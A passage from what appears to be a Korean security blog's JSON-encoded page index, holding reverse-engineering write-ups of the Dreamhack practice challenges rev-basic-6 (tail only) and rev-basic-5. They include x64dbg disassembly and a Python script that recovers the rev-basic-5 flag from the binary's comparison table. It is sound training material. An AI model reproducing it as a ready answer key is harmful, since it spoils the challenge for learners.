class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ejmp\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF782681193\u003c/span\u003e                 \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681186\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eA3100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682230\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782682230\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Wrong\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268118\u003c/span\u003e\u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eFF15\u003c/span\u003e \u003cspan class=\"n\"\u003eF50F0000\u003c/span\u003e            \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eputs\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681193\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e782681195\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eB8C24\u003c/span\u003e \u003cspan class=\"mi\"\u003e20010000\u003c/span\u003e       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e          \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e78268119\u003c/span\u003e\u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eCC\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e7826811\u003c/span\u003e\u003cspan class=\"n\"\u003eA0\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eE8\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"n\"\u003eB010000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003ecall\u003c/span\u003e \u003cspan class=\"n\"\u003echall6\u003c/span\u003e\u003cspan class=\"mf\"\u003e.7F\u003c/span\u003e\u003cspan class=\"n\"\u003eF782681300\u003c/span\u003e                \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e7826811\u003c/span\u003e\u003cspan class=\"n\"\u003eA5\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e81\u003c/span\u003e\u003cspan class=\"n\"\u003eC4\u003c/span\u003e \u003cspan class=\"mi\"\u003e30010000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eadd\u003c/span\u003e \u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e130\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e7826811\u003c/span\u003e\u003cspan class=\"n\"\u003eAC\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mf\"\u003e5F\u003c/span\u003e                       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003epop\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e                                 \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;ALLUSERSPROFILE=C:\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eProgramData\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e7826811\u003c/span\u003e\u003cspan class=\"n\"\u003eAD\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eC3\u003c/span\u003e                       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eret\u003c/span\u003e                                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e여기서 정답의 로직을 분석하는 부분은 00007FF78268116E이다.\u003c/p\u003e","title":"Dreamhack rev-basic-6 문제풀이"},{"content":"이번 문제는 드림핵 리버싱문제 rev-basic-5이다. 확실히 베이직 문제이다 보니 약간의 분석과정만 거치면 풀이법이 보여 쉬운편에 속했다.\n우선 exe 파일을 다운 받으면 chall5.exe라는 바이너리가 다운로드 된다. 이후 이 바이너리를 실행 시키면\ninput : 구문으로 문자열을 입력 받고 맞으면 Correct 틀리면 Wrong이라는 문자열을 출력한다.\n이제 이 바이너리를 x64 디버거로 분석 해보자.\n00007FF6A16C1130 | 40:57 | push rdi | rdi:L\u0026#34;샰櫚Ʊ\u0026#34; 00007FF6A16C1132 | 48:81EC 30010000 | sub rsp,130 | 00007FF6A16C1139 | 48:8B05 E81E0000 | mov rax,qword ptr ds:[7FF6A16C3028] | 00007FF6A16C1140 | 48:33C4 | xor rax,rsp | 00007FF6A16C1143 | 48:898424 20010000 | mov qword ptr ss:[rsp+120],rax | 00007FF6A16C114B | 48:8D4424 20 | lea rax,qword ptr ss:[rsp+20] | 00007FF6A16C1150 | 48:8BF8 | mov rdi,rax | rdi:L\u0026#34;샰櫚Ʊ\u0026#34; 00007FF6A16C1153 | 33C0 | xor eax,eax | 00007FF6A16C1155 | B9 00010000 | mov ecx,100 | 00007FF6A16C115A | F3:AA | rep stosb | 00007FF6A16C115C | 48:8D0D AD100000 | lea rcx,qword ptr ds:[7FF6A16C2210] | 00007FF6A16C2210:\u0026#34;Input : \u0026#34; 00007FF6A16C1163 | E8 58000000 | call chall5.7FF6A16C11C0 | 00007FF6A16C1168 | 48:8D5424 20 | lea rdx,qword ptr ss:[rsp+20] | 00007FF6A16C116D | 48:8D0D A8100000 | lea rcx,qword ptr ds:[7FF6A16C221C] | 00007FF6A16C221C:\u0026#34;%256s\u0026#34; 00007FF6A16C1174 | E8 A7000000 | call chall5.7FF6A16C1220 | 00007FF6A16C1179 | 48:8D4C24 20 | lea rcx,qword ptr ss:[rsp+20] | 00007FF6A16C117E | E8 7DFEFFFF | call chall5.7FF6A16C1000 | 00007FF6A16C1183 | 85C0 | test eax,eax | 00007FF6A16C1185 | 74 0F | je chall5.7FF6A16C1196 | 00007FF6A16C1187 | 48:8D0D 9A100000 | lea rcx,qword ptr ds:[7FF6A16C2228] | 00007FF6A16C2228:\u0026#34;Correct\u0026#34; 00007FF6A16C118E | FF15 F40F0000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF6A16C1194 | EB 0D | jmp chall5.7FF6A16C11A3 | 00007FF6A16C1196 | 48:8D0D 93100000 | lea rcx,qword ptr ds:[7FF6A16C2230] | 00007FF6A16C2230:\u0026#34;Wrong\u0026#34; 00007FF6A16C119D | FF15 E50F0000 | call qword ptr ds:[\u0026lt;\u0026amp;puts\u0026gt;] | 00007FF6A16C11A3 | 33C0 | xor eax,eax | 00007FF6A16C11A5 | 48:8B8C24 20010000 | mov rcx,qword ptr ss:[rsp+120] | 00007FF6A16C11AD | 48:33CC | xor rcx,rsp | 00007FF6A16C11B0 | E8 5B010000 | call chall5.7FF6A16C1310 | 00007FF6A16C11B5 | 48:81C4 30010000 | add rsp,130 | 00007FF6A16C11BC | 5F | pop rdi | rdi:L\u0026#34;샰櫚Ʊ\u0026#34; 00007FF6A16C11BD | C3 | ret | 다음과 같은 형태의 바이너리이다. 여기서 문자열을 입력 받고 정답임을 검사하는 함수의 위치는 00007FF6A16C117E 이다. 임의 값을 넣고 함수에 bp를 걸어 동작을 확인해보자.\nAAAAA 라는 문자열을 입력 하였고 정답을 검증하는 함수의 어셈블리는 다음과 같다.\n00007FF6A16C1000 | 48:894C24 08 | mov qword ptr ss:[rsp+8],rcx | [rsp+8]:\u0026#34;%256s\u0026#34; 00007FF6A16C1005 | 48:83EC 18 | sub rsp,18 | 00007FF6A16C1009 | C70424 00000000 | mov dword ptr ss:[rsp],0 | 00007FF6A16C1010 | EB 08 | jmp chall5.7FF6A16C101A | 00007FF6A16C1012 | 8B0424 | mov eax,dword ptr ss:[rsp] | 00007FF6A16C1015 | FFC0 | inc eax | 00007FF6A16C1017 | 890424 | mov dword ptr ss:[rsp],eax | 00007FF6A16C101A | 48:630424 | movsxd rax,dword ptr ss:[rsp] | 00007FF6A16C101E | 48:83F8 18 | cmp rax,18 | 00007FF6A16C1022 | 73 39 | jae chall5.7FF6A16C105D | 00007FF6A16C1024 | 48:630424 | movsxd rax,dword ptr ss:[rsp] | 00007FF6A16C1028 | 48:8B4C24 20 | mov rcx,qword ptr ss:[rsp+20] | 00007FF6A16C102D | 0FB60401 | movzx eax,byte ptr ds:[rcx+rax] | rcx+rax*1:\u0026#34;AAAA\u0026#34; 00007FF6A16C1031 | 8B0C24 | mov ecx,dword ptr ss:[rsp] | 00007FF6A16C1034 | FFC1 | inc ecx | 00007FF6A16C1036 | 48:63C9 | movsxd rcx,ecx | rcx:\u0026#34;AAAAA\u0026#34; 00007FF6A16C1039 | 48:8B5424 20 | mov rdx,qword ptr ss:[rsp+20] | 00007FF6A16C103E | 0FB60C0A | movzx ecx,byte ptr ds:[rdx+rcx] | 00007FF6A16C1042 | 03C1 | add eax,ecx | 00007FF6A16C1044 | 48:630C24 | movsxd rcx,dword ptr ss:[rsp] | 00007FF6A16C1048 | 48:8D15 B11F0000 | lea rdx,qword ptr ds:[7FF6A16C3000] | 00007FF6A16C104F | 0FB60C0A | movzx ecx,byte ptr ds:[rdx+rcx] | 00007FF6A16C1053 | 3BC1 | cmp eax,ecx | 00007FF6A16C1055 | 74 04 | je chall5.7FF6A16C105B | 00007FF6A16C1057 | 33C0 | xor eax,eax | 00007FF6A16C1059 | EB 07 | jmp chall5.7FF6A16C1062 | 00007FF6A16C105B | EB B5 | jmp chall5.7FF6A16C1012 | 00007FF6A16C105D | B8 01000000 | mov eax,1 | 00007FF6A16C1062 | 48:83C4 18 | add rsp,18 | 00007FF6A16C1066 | C3 | ret | 00007FF6A16C1039 부터 00007FF6A16C1053 부분이 주요 부분이고 이 부분을 분석해보면 첫번째 사이클에서 입력받은 첫번째 문자열의 아스키코드 값과 두번째 아스키코드 값을 서로 더하여 7FF6A16C3000에 위치하는 hex값과 비교하는 절차를 가지고 있다.\n이걸 분석 해보면 다양한 경우의 수가 나올것 같다. 우선 수기로 검증을 해보고 파이선 코드를 작성해 A부터 Z까지 넣었을 경우의 경우의 수를 전부 출력했다.\n코드는 다음과 같다.\na = [0xAD, 0xD8, 0xCB, 0xCB, 0x9D, 0x97, 0xCB, 0xC4, 0x92, 0xA1, 0xD2, 0xD7, 0xD2, 0xD6, 0xA8, 0xA5, 0xDC, 0xC7, 0xAD, 0xA3, 0xA1, 0x98, 0x4C] start = 0x00 temp = 0x00 b = 0x41 while(b\u0026lt;0x5b): start = b; print(\u0026#34;start : \u0026#34;+chr(b)) for i in a: temp = i - start print (chr(start), end=\u0026#39;\u0026#39;) start = temp print(\u0026#34;\\n\\n\u0026#34;) b = b+1 위 코드는 [목표값 = 첫번째 값 + 두번째 값] 와 [두번째 값 = 목표값 - 첫번째 값] 이 동일하다는 간단한 식으로 작성하였다. 변수 a는 7FF6A16C3000에 들어있는 목표값 들이고 시작 아스키 코드를 A에 해당하는 hex 0x41로 주어 반복문을 돌렸다.\n이후 결과는 다음과 같다.\n딱 보면 정답같아 보이는 부분이 있다. A로 시작하는 부분이 플레그 값이다.\n","permalink":"https://dig06161.github.io/2022/04/09/dreamhack-rev-basic-5/","summary":"\u003cp\u003e이번 문제는 드림핵 리버싱문제 rev-basic-5이다. 확실히 베이직 문제이다 보니 약간의 분석과정만 거치면 풀이법이 보여 쉬운편에 속했다.\u003c/p\u003e\n\u003cp\u003e우선 exe 파일을 다운 받으면 chall5.exe라는 바이너리가 다운로드 된다. 이후 이 바이너리를 실행 시키면\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003einput : \n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e구문으로 문자열을 입력 받고 맞으면 Correct 틀리면 Wrong이라는 문자열을 출력한다.\u003c/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cp\u003e이제 이 바이너리를 x64 디버거로 분석 해보자.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c++\" data-lang=\"c++\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1130\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e40\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e57\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003epush\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e                                \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"sa\"\u003eL\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;샰櫚Ʊ\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1132\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e81\u003c/span\u003e\u003cspan class=\"n\"\u003eEC\u003c/span\u003e \u003cspan class=\"mi\"\u003e30010000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003esub\u003c/span\u003e \u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e130\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1139\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eB05\u003c/span\u003e \u003cspan class=\"n\"\u003eE81E0000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003eds\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"mf\"\u003e7FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C3028\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e     \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1140\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC4\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1143\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e898424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20010000\u003c/span\u003e       \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"n\"\u003erax\u003c/span\u003e          \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C114B\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD4424\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003erax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eqword\u003c/span\u003e \u003cspan class=\"n\"\u003eptr\u003c/span\u003e \u003cspan class=\"nl\"\u003ess\u003c/span\u003e\u003cspan class=\"p\"\u003e:[\u003c/span\u003e\u003cspan class=\"n\"\u003ersp\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e           \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1150\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eBF8\u003c/span\u003e                  \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003erax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003erdi\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"sa\"\u003eL\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;샰櫚Ʊ\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1153\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"n\"\u003eC0\u003c/span\u003e                     \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003exor\u003c/span\u003e \u003cspan class=\"n\"\u003eeax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eeax\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C1155\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003eB9\u003c/span\u003e \u003cspan class=\"mo\"\u003e00010000\u003c/span\u003e              \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003emov\u003c/span\u003e \u003cspan class=\"n\"\u003eecx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e                             \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C115A\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"nl\"\u003eF3\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eAA\u003c/span\u003e                    \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003erep\u003c/span\u003e \u003cspan class=\"n\"\u003estosb\u003c/span\u003e                               \u003cspan class=\"o\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"mf\"\u003e00007FF\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"n\"\u003eA16C115C\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"mi\"\u003e48\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"n\"\u003eD0D\u003c/span\u003e \u003cspan class=\"n\"\u003eAD100000\u003c/span\u003e         \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"n\"\u003elea\u003c/span\u003e \u003cspan class=\"n\"\u003ercx\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan 